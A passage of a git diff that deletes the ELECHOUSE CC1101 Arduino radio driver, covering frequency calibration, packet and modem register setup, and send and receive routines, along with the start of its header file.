-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1]));
-if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);}
-else{
-SpiWriteReg(CC1101_TEST0,0x09);
-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
-if (last_pa != 2){setPA(pa);}
-}
-}
-else if (MHz >= 779 && MHz <= 899.99){
-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1]));
-if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);}
-else{
-SpiWriteReg(CC1101_TEST0,0x09);
-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
-if (last_pa != 3){setPA(pa);}
-}
-}
-else if (MHz >= 900 && MHz <= 928){
-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1]));
-SpiWriteReg(CC1101_TEST0,0x09);
-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
-if (last_pa != 4){setPA(pa);}
-}
-}
-/****************************************************************
-*FUNCTION NAME:Calibration offset
-*FUNCTION :Set calibration offset
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){
-if (b == 1){
-clb1[0]=s;
-clb1[1]=e;
-}
-else if (b == 2){
-clb2[0]=s;
-clb2[1]=e;
-}
-else if (b == 3){
-clb3[0]=s;
-clb3[1]=e;
-}
-else if (b == 4){
-clb4[0]=s;
-clb4[1]=e;
-}
-}
-/****************************************************************
-*FUNCTION NAME:getCC1101
-*FUNCTION :Test Spi connection and return 1 when true.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-bool ELECHOUSE_CC1101::getCC1101(void){
-setSpi();
-if (SpiReadStatus(0x31)>0){
-return 1;
-}else{
-return 0;
-}
-}
-/****************************************************************
-*FUNCTION NAME:getMode
-*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-byte ELECHOUSE_CC1101::getMode(void){
-return trxstate;
-}
-/****************************************************************
-*FUNCTION NAME:Set Sync_Word
-*FUNCTION :Sync Word
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){
-SpiWriteReg(CC1101_SYNC1, sh);
-SpiWriteReg(CC1101_SYNC0, sl);
-}
-/****************************************************************
-*FUNCTION NAME:Set ADDR
-*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF).
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setAddr(byte v){
-SpiWriteReg(CC1101_ADDR, v);
-}
-/****************************************************************
-*FUNCTION NAME:Set PQT
-*FUNCTION :Preamble quality estimator threshold
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setPQT(byte v){
-Split_PKTCTRL1();
-pc1PQT = 0;
-if (v>7){v=7;}
-pc1PQT = v*32;
-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
-}
-/****************************************************************
-*FUNCTION NAME:Set CRC_AUTOFLUSH
-*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setCRC_AF(bool v){
-Split_PKTCTRL1();
-pc1CRC_AF = 0;
-if (v==1){pc1CRC_AF=8;}
-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
-}
-/****************************************************************
-*FUNCTION NAME:Set APPEND_STATUS
-*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setAppendStatus(bool v){
-Split_PKTCTRL1();
-pc1APP_ST = 0;
-if (v==1){pc1APP_ST=4;}
-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
-}
-/****************************************************************
-*FUNCTION NAME:Set ADR_CHK
-*FUNCTION :Controls address check configuration of received packages
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setAdrChk(byte v){
-Split_PKTCTRL1();
-pc1ADRCHK = 0;
-if (v>3){v=3;}
-pc1ADRCHK = v;
-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);
-}
-/****************************************************************
-*FUNCTION NAME:Set WHITE_DATA
-*FUNCTION :Turn data whitening on / off.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setWhiteData(bool v){
-Split_PKTCTRL0();
-pc0WDATA = 0;
-if (v == 1){pc0WDATA=64;}
-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
-}
-/****************************************************************
-*FUNCTION NAME:Set PKT_FORMAT
-*FUNCTION :Format of RX and TX data
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setPktFormat(byte v){
-Split_PKTCTRL0();
-pc0PktForm = 0;
-if (v>3){v=3;}
-pc0PktForm = v*16;
-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
-}
-/****************************************************************
-*FUNCTION NAME:Set CRC
-*FUNCTION :CRC calculation in TX and CRC check in RX
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setCrc(bool v){
-Split_PKTCTRL0();
-pc0CRC_EN = 0;
-if (v==1){pc0CRC_EN=4;}
-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
-}
-/****************************************************************
-*FUNCTION NAME:Set LENGTH_CONFIG
-*FUNCTION :Configure the packet length
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setLengthConfig(byte v){
-Split_PKTCTRL0();
-pc0LenConf = 0;
-if (v>3){v=3;}
-pc0LenConf = v;
-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);
-}
-/****************************************************************
-*FUNCTION NAME:Set PACKET_LENGTH
-*FUNCTION :Indicates the packet length
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setPacketLength(byte v){
-SpiWriteReg(CC1101_PKTLEN, v);
-}
-/****************************************************************
-*FUNCTION NAME:Set DCFILT_OFF
-*FUNCTION :Disable digital DC blocking filter before demodulator
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setDcFilterOff(bool v){
-Split_MDMCFG2();
-m2DCOFF = 0;
-if (v==1){m2DCOFF=128;}
-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
-}
-/****************************************************************
-*FUNCTION NAME:Set MANCHESTER
-*FUNCTION :Enables Manchester encoding/decoding
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setManchester(bool v){
-Split_MDMCFG2();
-m2MANCH = 0;
-if (v==1){m2MANCH=8;}
-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
-}
-/****************************************************************
-*FUNCTION NAME:Set SYNC_MODE
-*FUNCTION :Combined sync-word qualifier mode
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setSyncMode(byte v){
-Split_MDMCFG2();
-m2SYNCM = 0;
-if (v>7){v=7;}
-m2SYNCM=v;
-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
-}
-/****************************************************************
-*FUNCTION NAME:Set FEC
-*FUNCTION :Enable Forward Error Correction (FEC)
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setFEC(bool v){
-Split_MDMCFG1();
-m1FEC=0;
-if (v==1){m1FEC=128;}
-SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);
-}
-/****************************************************************
-*FUNCTION NAME:Set PRE
-*FUNCTION :Sets the minimum number of preamble bytes to be transmitted.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setPRE(byte v){
-Split_MDMCFG1();
-m1PRE=0;
-if (v>7){v=7;}
-m1PRE = v*16;
-SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);
-}
-/****************************************************************
-*FUNCTION NAME:Set Channel
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setChannel(byte ch){
-chan = ch;
-SpiWriteReg(CC1101_CHANNR, chan);
-}
-/****************************************************************
-*FUNCTION NAME:Set Channel spacing
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setChsp(float f){
-Split_MDMCFG1();
-byte MDMCFG0 = 0;
-m1CHSP = 0;
-if (f > 405.456543){f = 405.456543;}
-if (f < 25.390625){f = 25.390625;}
-for (int i = 0; i<5; i++){
-if (f <= 50.682068){
-f -= 25.390625;
-f /= 0.0991825;
-MDMCFG0 = f;
-float s1 = (f - MDMCFG0) *10;
-if (s1 >= 5){MDMCFG0++;}
-i = 5;
-}else{
-m1CHSP++;
-f/=2;
-}
-}
-SpiWriteReg(19,m1CHSP+m1FEC+m1PRE);
-SpiWriteReg(20,MDMCFG0);
-}
-/****************************************************************
-*FUNCTION NAME:Set Receive bandwidth
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setRxBW(float f){
-Split_MDMCFG4();
-int s1 = 3;
-int s2 = 3;
-for (int i = 0; i<3; i++){
-if (f > 101.5625){f/=2; s1--;}
-else{i=3;}
-}
-for (int i = 0; i<3; i++){
-if (f > 58.1){f/=1.25; s2--;}
-else{i=3;}
-}
-s1 *= 64;
-s2 *= 16;
-m4RxBw = s1 + s2;
-SpiWriteReg(16,m4RxBw+m4DaRa);
-}
-/****************************************************************
-*FUNCTION NAME:Set Data Rate
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setDRate(float d){
-Split_MDMCFG4();
-float c = d;
-byte MDMCFG3 = 0;
-if (c > 1621.83){c = 1621.83;}
-if (c < 0.0247955){c = 0.0247955;}
-m4DaRa = 0;
-for (int i = 0; i<20; i++){
-if (c <= 0.0494942){
-c = c - 0.0247955;
-c = c / 0.00009685;
-MDMCFG3 = c;
-float s1 = (c - MDMCFG3) *10;
-if (s1 >= 5){MDMCFG3++;}
-i = 20;
-}else{
-m4DaRa++;
-c = c/2;
-}
-}
-SpiWriteReg(16, m4RxBw+m4DaRa);
-SpiWriteReg(17, MDMCFG3);
-}
-/****************************************************************
-*FUNCTION NAME:Set Devitation
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setDeviation(float d){
-float f = 1.586914;
-float v = 0.19836425;
-int c = 0;
-if (d > 380.859375){d = 380.859375;}
-if (d < 1.586914){d = 1.586914;}
-for (int i = 0; i<255; i++){
-f+=v;
-if (c==7){v*=2;c=-1;i+=8;}
-if (f>=d){c=i;i=255;}
-c++;
-}
-SpiWriteReg(21,c);
-}
-/****************************************************************
-*FUNCTION NAME:Split PKTCTRL0
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Split_PKTCTRL1(void){
-int calc = SpiReadStatus(7);
-pc1PQT = 0;
-pc1CRC_AF = 0;
-pc1APP_ST = 0;
-pc1ADRCHK = 0;
-for (bool i = 0; i==0;){
-if (calc >= 32){calc-=32; pc1PQT+=32;}
-else if (calc >= 8){calc-=8; pc1CRC_AF+=8;}
-else if (calc >= 4){calc-=4; pc1APP_ST+=4;}
-else {pc1ADRCHK = calc; i=1;}
-}
-}
-/****************************************************************
-*FUNCTION NAME:Split PKTCTRL0
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Split_PKTCTRL0(void){
-int calc = SpiReadStatus(8);
-pc0WDATA = 0;
-pc0PktForm = 0;
-pc0CRC_EN = 0;
-pc0LenConf = 0;
-for (bool i = 0; i==0;){
-if (calc >= 64){calc-=64; pc0WDATA+=64;}
-else if (calc >= 16){calc-=16; pc0PktForm+=16;}
-else if (calc >= 4){calc-=4; pc0CRC_EN+=4;}
-else {pc0LenConf = calc; i=1;}
-}
-}
-/****************************************************************
-*FUNCTION NAME:Split MDMCFG1
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Split_MDMCFG1(void){
-int calc = SpiReadStatus(19);
-m1FEC = 0;
-m1PRE = 0;
-m1CHSP = 0;
-int s2 = 0;
-for (bool i = 0; i==0;){
-if (calc >= 128){calc-=128; m1FEC+=128;}
-else if (calc >= 16){calc-=16; m1PRE+=16;}
-else {m1CHSP = calc; i=1;}
-}
-}
-/****************************************************************
-*FUNCTION NAME:Split MDMCFG2
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Split_MDMCFG2(void){
-int calc = SpiReadStatus(18);
-m2DCOFF = 0;
-m2MODFM = 0;
-m2MANCH = 0;
-m2SYNCM = 0;
-for (bool i = 0; i==0;){
-if (calc >= 128){calc-=128; m2DCOFF+=128;}
-else if (calc >= 16){calc-=16; m2MODFM+=16;}
-else if (calc >= 8){calc-=8; m2MANCH+=8;}
-else{m2SYNCM = calc; i=1;}
-}
-}
-/****************************************************************
-*FUNCTION NAME:Split MDMCFG4
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Split_MDMCFG4(void){
-int calc = SpiReadStatus(16);
-m4RxBw = 0;
-m4DaRa = 0;
-for (bool i = 0; i==0;){
-if (calc >= 64){calc-=64; m4RxBw+=64;}
-else if (calc >= 16){calc -= 16; m4RxBw+=16;}
-else{m4DaRa = calc; i=1;}
-}
-}
-/****************************************************************
-*FUNCTION NAME:RegConfigSettings
-*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100//
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::RegConfigSettings(void)
-{
- SpiWriteReg(CC1101_FSCTRL1, 0x06);
-
- setCCMode(ccmode);
- setMHZ(MHz);
-
- SpiWriteReg(CC1101_MDMCFG1, 0x02);
- SpiWriteReg(CC1101_MDMCFG0, 0xF8);
- SpiWriteReg(CC1101_CHANNR, chan);
- SpiWriteReg(CC1101_DEVIATN, 0x47);
- SpiWriteReg(CC1101_FREND1, 0x56);
- SpiWriteReg(CC1101_MCSM0 , 0x18);
- SpiWriteReg(CC1101_FOCCFG, 0x16);
- SpiWriteReg(CC1101_BSCFG, 0x1C);
- SpiWriteReg(CC1101_AGCCTRL2, 0xC7);
- SpiWriteReg(CC1101_AGCCTRL1, 0x00);
- SpiWriteReg(CC1101_AGCCTRL0, 0xB2);
- SpiWriteReg(CC1101_FSCAL3, 0xE9);
- SpiWriteReg(CC1101_FSCAL2, 0x2A);
- SpiWriteReg(CC1101_FSCAL1, 0x00);
- SpiWriteReg(CC1101_FSCAL0, 0x1F);
- SpiWriteReg(CC1101_FSTEST, 0x59);
- SpiWriteReg(CC1101_TEST2, 0x81);
- SpiWriteReg(CC1101_TEST1, 0x35);
- SpiWriteReg(CC1101_TEST0, 0x09);
- SpiWriteReg(CC1101_PKTCTRL1, 0x04);
- SpiWriteReg(CC1101_ADDR, 0x00);
- SpiWriteReg(CC1101_PKTLEN, 0x00);
-}
-/****************************************************************
-*FUNCTION NAME:SetTx
-*FUNCTION :set CC1101 send data
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SetTx(void)
-{
- SpiStrobe(CC1101_SIDLE);
- SpiStrobe(CC1101_STX); //start send
- trxstate=1;
-}
-/****************************************************************
-*FUNCTION NAME:SetRx
-*FUNCTION :set CC1101 to receive state
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SetRx(void)
-{
- SpiStrobe(CC1101_SIDLE);
- SpiStrobe(CC1101_SRX); //start receive
- trxstate=2;
-}
-/****************************************************************
-*FUNCTION NAME:SetTx
-*FUNCTION :set CC1101 send data and change frequency
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SetTx(float mhz)
-{
- SpiStrobe(CC1101_SIDLE);
- setMHZ(mhz);
- SpiStrobe(CC1101_STX); //start send
- trxstate=1;
-}
-/****************************************************************
-*FUNCTION NAME:SetRx
-*FUNCTION :set CC1101 to receive state and change frequency
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SetRx(float mhz)
-{
- SpiStrobe(CC1101_SIDLE);
- setMHZ(mhz);
- SpiStrobe(CC1101_SRX); //start receive
- trxstate=2;
-}
-/****************************************************************
-*FUNCTION NAME:RSSI Level
-*FUNCTION :Calculating the RSSI Level
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-int ELECHOUSE_CC1101::getRssi(void)
-{
-int rssi;
-rssi=SpiReadStatus(CC1101_RSSI);
-if (rssi >= 128){rssi = (rssi-256)/2-74;}
-else{rssi = (rssi/2)-74;}
-return rssi;
-}
-/****************************************************************
-*FUNCTION NAME:LQI Level
-*FUNCTION :get Lqi state
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-byte ELECHOUSE_CC1101::getLqi(void)
-{
-byte lqi;
-lqi=SpiReadStatus(CC1101_LQI);
-return lqi;
-}
-/****************************************************************
-*FUNCTION NAME:SetSres
-*FUNCTION :Reset CC1101
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setSres(void)
-{
- SpiStrobe(CC1101_SRES);
- trxstate=0;
-}
-/****************************************************************
-*FUNCTION NAME:setSidle
-*FUNCTION :set Rx / TX Off
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setSidle(void)
-{
- SpiStrobe(CC1101_SIDLE);
- trxstate=0;
-}
-/****************************************************************
-*FUNCTION NAME:goSleep
-*FUNCTION :set cc1101 Sleep on
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::goSleep(void){
- trxstate=0;
- SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit
- SpiStrobe(0x39);//Enter power down mode when CSn goes high.
-}
-/****************************************************************
-*FUNCTION NAME:Char direct SendData
-*FUNCTION :use CC1101 send data
-*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SendData(char *txchar)
-{
-int len = strlen(txchar);
-byte chartobyte[len];
-for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}
-SendData(chartobyte,len);
-}
-/****************************************************************
-*FUNCTION NAME:SendData
-*FUNCTION :use CC1101 send data
-*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size)
-{
- SpiWriteReg(CC1101_TXFIFO,size);
- SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size); //write data to send
- SpiStrobe(CC1101_SIDLE);
- SpiStrobe(CC1101_STX); //start send
- while (!digitalRead(GDO0)); // Wait for GDO0 to be set -> sync transmitted
- while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet
- SpiStrobe(CC1101_SFTX); //flush TXfifo
- trxstate=1;
-}
-/****************************************************************
-*FUNCTION NAME:Char direct SendData
-*FUNCTION :use CC1101 send data without GDO
-*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SendData(char *txchar,int t)
-{
-int len = strlen(txchar);
-byte chartobyte[len];
-for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}
-SendData(chartobyte,len,t);
-}
-/****************************************************************
-*FUNCTION NAME:SendData
-*FUNCTION :use CC1101 send data without GDO
-*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size,int t)
-{
- SpiWriteReg(CC1101_TXFIFO,size);
- SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size); //write data to send
- SpiStrobe(CC1101_SIDLE);
- SpiStrobe(CC1101_STX); //start send
- delay(t);
- SpiStrobe(CC1101_SFTX); //flush TXfifo
- trxstate=1;
-}
-/****************************************************************
-*FUNCTION NAME:Check CRC
-*FUNCTION :none
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-bool ELECHOUSE_CC1101::CheckCRC(void){
-byte lqi=SpiReadStatus(CC1101_LQI);
-bool crc_ok = bitRead(lqi,7);
-if (crc_ok == 1){
-return 1;
-}else{
-SpiStrobe(CC1101_SFRX);
-SpiStrobe(CC1101_SRX);
-return 0;
-}
-}
-/****************************************************************
-*FUNCTION NAME:CheckRxFifo
-*FUNCTION :check receive data or not
-*INPUT :none
-*OUTPUT :flag: 0 no data; 1 receive data
-****************************************************************/
-bool ELECHOUSE_CC1101::CheckRxFifo(int t){
-if(trxstate!=2){SetRx();}
-if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO){
-delay(t);
-return 1;
-}else{
-return 0;
-}
-}
-/****************************************************************
-*FUNCTION NAME:CheckReceiveFlag
-*FUNCTION :check receive data or not
-*INPUT :none
-*OUTPUT :flag: 0 no data; 1 receive data
-****************************************************************/
-byte ELECHOUSE_CC1101::CheckReceiveFlag(void)
-{
- if(trxstate!=2){SetRx();}
- if(digitalRead(GDO0)) //receive data
- {
- while (digitalRead(GDO0));
- return 1;
- }
- else // no data
- {
- return 0;
- }
-}
-/****************************************************************
-*FUNCTION NAME:ReceiveData
-*FUNCTION :read data received from RXfifo
-*INPUT :rxBuffer: buffer to store data
-*OUTPUT :size of data received
-****************************************************************/
-byte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer)
-{
- byte size;
- byte status[2];
-
- if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO)
- {
- size=SpiReadReg(CC1101_RXFIFO);
- SpiReadBurstReg(CC1101_RXFIFO,rxBuffer,size);
- SpiReadBurstReg(CC1101_RXFIFO,status,2);
- SpiStrobe(CC1101_SFRX);
- SpiStrobe(CC1101_SRX);
- return size;
- }
- else
- {
- SpiStrobe(CC1101_SFRX);
- SpiStrobe(CC1101_SRX);
- return 0;
- }
-}
-ELECHOUSE_CC1101 ELECHOUSE_cc1101; \ No newline at end of file
diff --git a/firmware/ELECHOUSE_CC1101_SRC_DRV.h b/firmware/ELECHOUSE_CC1101_SRC_DRV.h
deleted file mode 100644
index 136a9b5..0000000
--- a/firmware/ELECHOUSE_CC1101_SRC_DRV.h
+++ /dev/null
@@ -1,194 +0,0 @@
-/*
- ELECHOUSE_CC1101.cpp - CC1101 module library
- Copyright (c) 2010 Michael.
- Author: Michael, <www.elechouse.com>
- Version: November 12, 2010
-
- This library is designed to use CC1101/CC1100 module on Arduino platform.
- CC1101/CC1100 module is an useful wireless module.Using the functions of the
- library, you can easily send and receive data by the CC1101/CC1100 module.
- Just have fun!
- For the details, please refer to the datasheet of CC1100/CC1101.
-----------------------------------------------------------------------------------------------------------------
-cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
-----------------------------------------------------------------------------------------------------------------
-*/
-#ifndef ELECHOUSE_CC1101_SRC_DRV_h
-#define ELECHOUSE_CC1101_SRC_DRV_h
-
-#include <Arduino.h>
-
-//***************************************CC1101 define**************************************************//
-// CC1101 CONFIG REGSITER
-#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration
-#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration
-#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration
-#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds
-#define CC1101_SYNC1 0x04 // Sync word, high INT8U
-#define CC1101_SYNC0 0x05 // Sync word, low INT8U
-#define CC1101_PKTLEN 0x06 // Packet length
-#define CC1101_PKTCTRL1 0x07 // Packet automation control
-#define CC1101_PKTCTRL0 0x08 // Packet automation control
-#define CC1101_ADDR 0x09 // Device address
-#define CC1101_CHANNR 0x0A // Channel number
-#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control
-#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control
-#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U
-#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U
-#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U
-#define CC1101_MDMCFG4 0x10 // Modem configuration
-#define CC1101_MDMCFG3 0x11 // Modem configuration
-#define CC1101_MDMCFG2 0x12 // Modem configuration
-#define CC1101_MDMCFG1 0x13 // Modem configuration
-#define CC1101_MDMCFG0 0x14 // Modem configuration
-#define CC1101_DEVIATN 0x15 // Modem deviation setting
-#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration
-#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration
-#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration
-#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration
-#define CC1101_BSCFG 0x1A // Bit Synchronization configuration
-#define CC1101_AGCCTRL2 0x1B // AGC control
-#define CC1101_AGCCTRL1 0x1C // AGC control
-#define CC1101_AGCCTRL0 0x1D // AGC control
-#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout
-#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout
-#define CC1101_WORCTRL 0x20 // Wake On Radio control
-#define CC1101_FREND1 0x21 // Front end RX configuration
-#define CC1101_FREND0 0x22 // Front end TX configuration
-#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration
-#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration
-#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration
-#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration
-#define CC1101_RCCTRL1 0x27 // RC oscillator configuration
-#define CC1101_RCCTRL0 0x28 // RC oscillator configuration
-#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control
-#define CC1101_PTEST 0x2A // Production test
-#define CC1101_AGCTEST 0x2B // AGC test
-#define CC1101_TEST2 0x2C // Various test settings
-#define CC1101_TEST1 0x2D // Various test settings
-#define CC1101_TEST0 0x2E // Various test settings
-
-//CC1101 Strobe commands
-#define CC1101_SRES 0x30 // Reset chip.
-#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).
- // If in RX/TX: Go to a wait state where only the synthesizer is
- // running (for quick RX / TX turnaround).
-#define CC1101_SXOFF 0x32 // Turn off crystal oscillator.
-#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off
- // (enables quick start).
-#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and
- // MCSM0.FS_AUTOCAL=1.
-#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if
- // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:
- // Only go to TX if channel is clear.
-#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit
- // Wake-On-Radio mode if applicable.
-#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer
-#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio)
-#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high.
-#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer.
-#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer.
-#define CC1101_SWORRST 0x3C // Reset real time clock.
-#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two
- // INT8Us for simpler software.
-//CC1101 STATUS REGSITER
-#define CC1101_PARTNUM 0x30
-#define CC1101_VERSION 0x31
-#define CC1101_FREQEST 0x32
-#define CC1101_LQI 0x33
-#define CC1101_RSSI 0x34
-#define CC1101_MARCSTATE 0x35
-#define CC1101_WORTIME1 0x36
-#define CC1101_WORTIME0 0x37
-#define CC1101_PKTSTATUS 0x38
-#define CC1101_VCO_VC_DAC 0x39
-#define CC1101_TXBYTES 0x3A
-#define CC1101_RXBYTES 0x3B
-
-//CC1101 PATABLE,TXFIFO,RXFIFO
-#define CC1101_PATABLE 0x3E
-#define CC1101_TXFIFO 0x3F
-#define CC1101_RXFIFO 0x3F
-
-//************************************* class **************************************************//
-class ELECHOUSE_CC1101
-{
-private:
- void SpiStart(void);
- void SpiEnd(void);
- void GDO_Set (void);
- void GDO0_Set (void);
- void Reset (void);
- void setSpi(void);
- void RegConfigSettings(void);
- void Calibrate(void);
- void Split_PKTCTRL0(void);
- void Split_PKTCTRL1(void);
- void Split_MDMCFG1(void);
- void Split_MDMCFG2(void);
- void Split_MDMCFG4(void);
-public:
- void Init(void);
- byte SpiReadStatus(byte addr);
- void setSpiPin(byte sck, byte miso, byte mosi, byte ss);
